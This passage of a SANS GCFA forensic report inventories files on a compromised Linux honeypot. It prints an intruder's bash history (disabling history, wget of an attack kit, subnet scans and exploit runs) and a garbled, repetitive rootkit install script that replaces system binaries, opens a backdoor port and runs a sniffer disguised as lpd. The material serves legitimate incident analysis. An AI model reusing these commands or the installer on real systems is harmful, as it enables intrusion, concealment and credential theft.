42) Name: srm.conf
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\srm.conf
Entry Modified 06/20/03 02:17:32AM
Last Accessed 06/29/03 04:02:23AM
Last Written 04/09/02 12:56:58PM
Hash Value: b0366af9aad90f7515bbdc255e9a23
Physical Size 1,024
Logical Size 297

43) Name: httpd.conf.bak
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified 06/27/03 02:08:34PM
Last Accessed 06/27/03 02:08:34PM
Last Written 04/09/02 12:56:58PM
Hash Value: 55d44549fa2d844e59257b0f6286e197
Physical Size 52,224
Logical Size 51,270

Root kit files

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

samba.tgz files

44) Name: samba.tgz
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified 06/29/03 03:41:42PM
Last Accessed 06/29/03 03:41:56PM
Last Written 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size 13,312
Logical Size 13,183

The samba.tgz files are used to assess and attack other hosts.

These files are the IRC server software files.

45) Name: README
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
EnCase Computer Analysis Report

46) Name: LinkEvents
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\LinkEvents
   Entry Modified: 06/29/03 03:43:55PM
   Last Accessed: 06/29/03 03:34:10PM
   Last Written: 06/29/03 03:43:55PM
   Hash Value: a20fef753ecc02a2a21d18bce466808
   Physical Size: 1,024
   Logical Size: 80

47) Name: mech.set
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.set
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:34:10PM
   Last Written: 01/29/03 05:11:38PM
   Hash Value: d09d745a3eebdbec553e943a1c68f98e
   Physical Size: 2,048
   Logical Size: 1,150

48) Name: checklpd
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\checklpd
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:34:10PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: f23e76196e176cfcee66a4a6f1d7718
   Physical Size: 1,024
   Logical Size: 942

49) Name: lpd.usr
   Description: File
   Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\lpd.usr
   Entry Modified: 06/29/03 07:00:27PM
   Last Accessed: 06/29/03 03:34:10PM
   Last Written: 06/29/03 07:00:27PM
   Hash Value: e64ef3dd690630d1cdcea47593ee9e8
   Physical Size: 1,024
   Logical Size: 352

50) Name: M4c4r0n.seen
    Description: File
    Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\M4c4r0n.seen
    Entry Modified: 06/29/03 03:32:50PM
    Last Accessed: 06/29/03 03:32:50PM
    Last Written: 03/15/02 07:20:20PM
    Hash Value: 

© SANS Institute 2004, as part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Physical Size 472
Logical Size 0

51) Name configure
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\configure
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 10/09/00 06:22:02PM
Hash Value 2b3e48069a38040311204acc1a4224b
Physical Size 20,480
Logical Size 20,290

52) Name MrIdiot.seen
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\MrIdiot.seen
Entry Modified 06/29/03 07:10:27PM
Last Accessed 06/29/03 03:35:40PM
Last Written 06/29/03 07:10:27PM
Hash Value 938fa960b7f4f7e28e3d7ff8e35cab9a4
Physical Size 1,024
Logical Size 148

53) Name mech.levels
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.levels
Entry Modified 06/30/03 04:00:00PM
Last Accessed 06/29/03 03:34:10PM
Last Written 06/30/03 04:00:00PM
Hash Value dc8afcc07717b777fb9129f26c033d311
Physical Size 2,048
Logical Size 1,085

54) Name mech.pid
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.pid
Entry Modified 06/29/03 03:32:59PM
Last Accessed 06/29/03 03:34:10PM
Last Written 06/29/03 03:32:59PM
Hash Value 01548d54a5a49e425f86046ded9f9db8
Physical Size 1,024
Logical Size 6

55) Name mech.session
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\mech.session
Entry Modified 06/30/03 04:00:00PM
Last Accessed 06/29/03 04:00:24PM
Last Written 06/30/03 04:00:00PM
Hash Value e5da1d9a1274662cbb181c00e66c875
Physical Size 1,024
Logical Size 374

Comment: IRC server config file.

```
linkport -l

nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
tog AOP 1
tog PROT 1
tog PROT 1
tog AOP 1
tog SHIT 1
tog PROT 1

server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
```

56) Name   VERSIONS
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\VERSIONS
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:34:10PM
Last Written 11/08/00 12:44:24AM
Hash Value 294ba201b5a8be025604510a951c5f50
Physical Size 26,624
Logical Size 25,722

57) Name   randinsult.e
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randinsult.e
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value a1b350ce4e068376627b4e9c36ebc9f7
Physical Size 4,096
Logical Size 3,982

58) Name   randnicks.e
Description File
Full Path   Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randnicks.e
Entry Modified 06/29/03 03:32:50PM
59) Name: randsay.e
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 33ea5ec3e5dc626799b5bb567f06d217
Physical Size: 56,320
Logical Size: 55,316

60) Name: randversions.e
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 0b252e189020453aad18b93913e44ec3
Physical Size: 2,048
Logical Size: 1,465

61) Name: com-ons.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/27/01 07:14:04AM
Hash Value: da8812cc62b784f6d5a10ef388288d7
Physical Size: 28,672
Logical Size: 28,470

62) Name: com-ons.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:22PM
Hash Value: 1f39e4b22d6e67ca4269eccfread55e
Physical Size: 92,160
Logical Size: 91,656

63) Name: commands.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:18PM
Hash Value: a1b52263b8a66d7c90fc549ef70230c4
Physical Size: 41,984
Logical Size: 41,966

64) Name: commands.o
   Description: File
   Full Path: /Users/EnCase/EnCase Computer Analysis Report/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/commands.o
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 08/27/01 02:00:26PM
   Hash Value: 8ab8813b5d0f080b7aead258c9ffc958
   Physical Size: 109,568
   Logical Size: 109,244

65) Name: gencmd
   Description: File
   Full Path: /Users/EnCase/EnCase Computer Analysis Report/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/gencmd
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 08/27/01 02:00:18PM
   Hash Value: 6f929c94c8a39954c7099b73c42ebf65
   Physical Size: 56,320
   Logical Size: 55,666

66) Name: dcc.c
   Description: File
   Full Path: /Users/EnCase/EnCase Computer Analysis Report/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/dcc.c
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: e079886945868cdd4a5e4952b4cb6b0
   Physical Size: 10,240
   Logical Size: 9,929

67) Name: defines.h
   Description: File
   Full Path: /Users/EnCase/EnCase Computer Analysis Report/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/defines.h
   Entry Modified: 06/29/03 03:32:50PM
   Last Accessed: 06/29/03 03:32:50PM
   Last Written: 10/09/00 06:22:02PM
   Hash Value: 854b211a185d795497cc0a21c7778249
   Physical Size: 5,120
   Logical Size: 4,508

68) Name: debug.o
   Description: File
   Full Path: /Users/EnCase/EnCase Computer Analysis Report/Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/debug.o

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
EnCase Computer Analysis Report

Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:32PM
Hash Value eb3e3d5dadd0e19b6b69a9e24ff790b2
Physical Size 64,512
Logical Size 64,160

69) Name link.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe\src\link.o
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 08/27/01 02:00:32PM
Hash Value 95dfe25136ed84b2c53ee8353761a23
Physical Size 97,280
Logical Size 96,896

70) Name global.h
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/\src\global.h
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/26/01 06:12:04PM
Hash Value c0f09ce5d8d0a233cf59a39a8fa089be
Physical Size 12,288
Logical Size 12,044

71) Name link.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/\src\link.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 10/09/00 06:22:02PM
Hash Value e6115dc63c46b08548e077a17da645aa
Physical Size 47,104
Logical Size 46,547

72) Name gencmd.c
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/\src\gencmd.c
Entry Modified 06/29/03 03:32:50PM
Last Accessed 06/29/03 03:32:50PM
Last Written 02/27/01 07:30:22AM
Hash Value 07eac92b41b11fc50b02468748b5fdd8
Physical Size 9,216
Logical Size 8,983

73) Name parse.o
Description File
Full Path Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/\font-unix/\X11-pipe/\src\parse.o
Entry Modified 06/29/03 03:32:50PM
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>74)</td>
<td>cfgfile.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/X11-pipe/src/cfgfile.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>02/26/01 06:14:22PM</td>
<td>ee752441cd67aecc374e1d77ab4630977</td>
<td>17,408</td>
<td>16,951</td>
</tr>
<tr>
<td>75)</td>
<td>cfgfile.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/X11-pipe/src/cfgfile.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:20PM</td>
<td>0a445c0fa05cf6b6d3c4af0fc99ece2</td>
<td>71,680</td>
<td>71,392</td>
</tr>
<tr>
<td>76)</td>
<td>socket.c</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/X11-pipe/src/socket.c</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>b47201862975f1ee5b7879658822cdf1</td>
<td>11,264</td>
<td>10,616</td>
</tr>
<tr>
<td>77)</td>
<td>services</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/X11-pipe/inetd/services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2aee6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>78)</td>
<td>userlist.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.font-unix/X11-pipe/src/userlist.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f156ab911428a2aee6e8349842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>------------------------</td>
<td>------------------------</td>
<td>-----------------------</td>
<td>----------------------------------</td>
<td>---------------</td>
<td>--------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:36PM</td>
<td>2e7bbdad4579b0c5b9609ad1be0ed02f</td>
<td>74,752</td>
<td>74,592</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

79) Name: usage.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\usage.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/27/01 06:28:20AM
Hash Value: de328096016c151d99126cb6b4a95
Physical Size: 5,120
Logical Size: 5,001

80) Name: vars.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\vars.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: 57bdcdba9d9126a49472d85485bae729
Physical Size: 10,240
Logical Size: 10,190

81) Name: xmech.o
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\xmech.o
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 02:00:38PM
Hash Value: 43ca3fc3c7b56e00c756777de8ed6c43
Physical Size: 86,016
Logical Size: 85,984

82) Name: Makefile
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\Makefile
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 08/27/01 01:50:36PM
Hash Value: b0154c6a0911f3cbe31669c9d756753
Physical Size: 3,072
Logical Size: 3,020

83) Name: solo
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba\solo
Entry Modified: 06/29/03 03:41:56PM
EnCase Computer Analysis Report

Last Accessed 06/29/03 04:59:16PM
Last Written 04/24/03 05:18:12PM
Hash Value a139f05ace31c73536ff689d88ae0cba
Physical Size 1,024
Logical Size 43

Comment: This is an attack script from the samba.tgz file.

./samba -v -p $3 -d 300000 -C 99 -b $2 $1

84) Name .bash_history
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\root\.bash_history
Entry Modified 06/29/03 05:21:44PM
Last Accessed 06/30/03 04:50:00PM
Last Written 06/29/03 05:21:44PM
Hash Value da617ff22a9bdf3508ada5a86d10217e
Physical Size 3,072
Logical Size 2,477

Comment: Bash history file from root. Shows commands correlating with sebek output.

unset HISTFILES
cd /tmp
ls -al
dir -al
rm -rf .
rm -rf r
mc
ps ax
killall -9 cp chmod
ps ax
kill -9 19504 19508
ps ax
cd /bin
mkdir .EhT
cd /tmp
cd .font-unix
wget XXX.XXX.com/eladoht/samba.tgz
tar -zxvf samba.tgz
cd samba
ifconfig
./samba -d 0 -S 192.168.2.*
./samba -d 0 -S XXX.XXX.5.*
nmap
nmap XXX.XXX.42.58
./sys XXX.XXX.42.58
./sys XXX.XXX.42.58
whereis tcp.log
netstat -a
netstat
./samba -d 0 -S XXX.XXX.42.*
nmap XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./sys XXX.XXX.49.137
./samba -d 0 -S XXX.XXX.54.*
nmap XXX.XXX.59.235
nmap XXX.XXX.61.126
./sys XXX.XXX.61.126
85) Name: `weit`
   Description: This file is a rootkit file.
   Full Path: `/usr/bin/weit`
   Entry Modified: 06/29/03 03:22:10PM
   Last Accessed: 06/29/03 03:22:10PM
   Last Written: 03/24/02 07:23:19PM
   Hash Value: 2b008592a46a5a52008ba46a27116833
   Physical Size: 24,576
   Logical Size: 20,914
   Comment: Root kit files

   **s.tar.gz files - infected with Linux RST.B Virus**

   These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus (http://www.sophos.com/virusinfo/analyses/linuxrstb.htm).

86) Name: `install`
   Description: This file is an install script.
   Full Path: `/tmp/sinstall`
   Entry Modified: 06/29/03 03:22:08PM
   Last Accessed: 06/29/03 03:25:21PM
   Last Written: 03/24/03 09:37:31PM
   Hash Value: 5ab9ac0a738a7f78c85f553738f3869d
Comment: Here is the install script from the s.tar.gz file.

#!/bin/sh
# ===============================================
cl=". [0m"
cyn=" [36m"
wht=" [37m"
hblk=" [1;30m"
hgrn=" [1;32m"
hcyn=" [1;36m"
hwht=" [1;37m"
hred=" [1;31m"
unset HISTFILE
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/sbin:/usr/local/bin
/etc/rc.d/init.d/init.sh

exit 1
fi

if [ ! -d /etc/rc.d/init.d ] ; then
    echo ""$[cl]$[hred]Argh!! .. SysV init not found$[cl]$[wht]"
    echo ""$[cl]$[hred]Installation aborted.$[cl]$[wht]"
    echo ""non-sysv init system, installation aborted"" >>install.log
    exit 1
fi

cp -f .1proc /dev/ttyop
cp -f .laddr /dev/ttya

cp -f .1ifile /dev/ttyof
cp -f .1logz /dev/ttyos

touch -acmr /usr/bin/du du >>install.log 2>&1
touch -acmr /usr/bin/find find >>install.log 2>&1
touch -acmr /usr/bin/killall killall >>install.log 2>&1
touch -acmr /bin/netstat netstat >>install.log 2>&1
touch -acmr /bin/ps ps >>install.log 2>&1
touch -acmr /usr/bin/pstree pstree >>install.log 2>&1
touch -acmr /usr/bin/vdir vdir >>install.log 2>&1

sleep 1

if [ ! "$[cl]$[hred]" ]; then
    mv -f /bin/ps /bin/mps >>install.log 2>&1
    if ! x /bin/ps ; then
        mv -f /bin/ps /bin/mpos >>install.log 2>&1
        fi
    fi

    echo ""$[cl]$[hblk]$[cl]$[hred]"$[cl]$[wht]Installing trojaned programs$[cl]$[wht]"
    echo ""$[cl]$[hred]"$[cl]$[hblk]"$[cl]$[wht]ps"" >>install.log
    echo ""-ps"" >>install.log
    if [ ! "$[cl]$[hred]" ]; then
        fi
    fi

echo ""$[cl]$[hred] *** failed ***$[cl]$[wht]"

else
    echo ""$[cl]$[hred] *** failed ***$[cl]$[wht]"

fi

© SANS Institute 2004, Author retains full rights.
EnCase Computer Analysis Report

Sans GCFA Cert Assignment

Page 248

```
echo "PS --> failed" >>install.log
fi

if [ ! -d /usr/include/rpcssvc ]; then
  mkdir -p /usr/include/rpcssvc
fi

echo "$(cl)$|$(cl)$bottom
echo "|top " >>install.log
if [ ! -x /usr/bin/mtop ]; then
  mv -f /usr/bin/top /usr/bin/mtop
fi

else
  echo "$(cl)$|$(cl)$bottom
fi

echo "$(cl)$|$(cl)$bottom
sh mpstree
```
```bash
```
```
```bash
echo "FIND ---> failed" >>install.log
fi

echo "${cl}${hred}|${cl}${hblk}--------${cl}${wht}du"
echo "--------du " >>install.log
if [ ! "$(2>&1 ./du >/dev/null)" ]; then
  if [ ! -f /usr/include/rpcsvc/du ]; then
    mv -f /usr/bin/du /usr/include/rpcsvc/du >>install.log 2>&1
    chmod -x /usr/include/rpcsvc/du
  fi
cp -f du /usr/bin/ >>install.log 2>&1
  echo "DU ---> OK" >>install.log
else
  echo "${cl}${hred} *** failed ***${cl}${wht}"
  echo "DU ---> failed" >>install.log
fi

echo "${cl}${hre}|${cl}${hblk}--------${cl}${wht}netstat"
echo "|-------netstat " >>install.log
if [ ! -x /bin/mnetstat ]; then
  mv -f /bin/netstat /bin/mnetstat >>install.log 2>&1
  cp -f netstat /bin/ >>install.log 2>&1
  echo "NETSTAT ---> OK" >>install.log
else
  echo "${cl}${hred} *** failed ***${cl}${wht}"
  echo "NETSTAT ---> failed" >>install.log
fi

echo "${cl}${hred}|${cl}${hblk}*********** ${cl}${wht}Installing my port"
cd nfsd; ./nfsd
sleep 1
echo "${cl}${hbl}|${cl}${hred}*********** ${cl}${wht}Ok, port opened."
```

```
echo "${cl}${hred}|${cl}${hblk}--${cl}${wht}log cleaner"
cp -f clean /usr/bin >>install.log

echo "${cl}${hred}|${cl}${hblk}--${cl}${wht}log reader"
cp -f sense /usr/bin >>install.log

echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}Slice2"
cp -f dos/sl2 /usr/bin

echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}SliceFoo"
cp -f dos/foo /usr/bin

echo "${cl}${hred}|${cl}${hblk}-----${cl}${wht}Stealth"
cp dos/st /usr/bin

echo "${cl}${hred}|${cl}${hblk}------${cl}${wht}VadiM"
cp dos/v /usr/bin

echo "${cl}${hred}|${cl}${hblk}== ${cl}${wht}Installing Utilities"
echo "${cl}${hred}|${cl}${hblk}--${cl}${wht}log cleaner"
cp -f clean /usr/bin >>install.log

echo "${cl}${hred}|${cl}${hblk}--${cl}${wht}log reader"
cp -f sense /usr/bin >>install.log

echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}Slice2"
cp -f dos/sl2 /usr/bin

echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}SliceFoo"
cp -f dos/foo /usr/bin

echo "${cl}${hred}|${cl}${hblk}-----${cl}${wht}Stealth"
cp dos/st /usr/bin

echo "${cl}${hred}|${cl}${hblk}------${cl}${wht}VadiM"
cp dos/v /usr/bin
```

```
echo "${cl}${hred}|${cl}${hblk}>>>>>>>>>> ${cl}${wht}Installing my port"
cd nfsd/; ./nfsd

sleep 1
echo "${cl}${hred}|${cl}${hblk}---${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "${cl}${hred}|${cl}${hblk}>>${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
echo "$({cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}Running cron $({cl}${hred})
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "${cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}Running cron $({cl}${hred})
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk}|${cl}${hred})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}Creating Logs DIR"
mkdir /dev/logs
else
  echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}The logs dir is already present"
  chattr -i au /dev/logs
  mv -f /dev/logs /dev/dirllogs
  mkdir /dev/logs
fi

cp -f linsniffer /usr/bin/lpd >>install.log 2>&1
touch /dev/logs/tcp.log
lpd >>/dev/logs/tcp.log &
```

```
echo "$({cl}${hred}|${cl}${hblk})== ${cl}${wht}CronTab Installed on user-root-
if [ ! -d /dev/logs ]; then
